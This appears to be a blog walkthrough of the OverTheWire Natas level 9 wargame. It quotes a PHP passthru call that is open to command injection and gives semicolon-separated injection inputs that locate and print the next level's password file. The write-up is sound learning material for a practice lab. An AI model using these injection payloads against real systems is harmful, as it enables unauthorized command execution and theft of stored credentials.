URL: http://natas9.natas.labs.overthewire.org
Objective
Gain access to the password for natas10.
Procedure:
- Open the website and inspect the PHP source code.
- Identify the vulnerable
passthru
function in the source code:
passthru("grep -i $key dictionary.txt");
Realize the potential for command injection by exploiting this vulnerability. - Find the current directory by searching for:
zzz; pwd; ls
Explanation:- Utilize the semicolon to separate different commands.
- Use
zzz
to ensure thatgrep
returns no result. - Include
pwd
to print the current working directory. - Add
ls
to list the contents of the directory, avoiding issues with the word "dictionary.txt" hanging on its own.
- Use the
find
command to locate any file related to natas10:
zzz; find / -type f -name natas10 2>/dev/null; ls
Output:/etc/natas_webpass/natas10 dictionary.txt
- Search for the password by executing:
zzz; cat /etc/natas_webpass/natas10; ls
Output:[natas_10_password] dictionary.txt
- PS: Using only the semicolon and the command can also work in some situations:
; cat /etc/natas_webpass/natas10
Output:[natas_10_password]
______________________________________
NthApostle
Comments
Post a Comment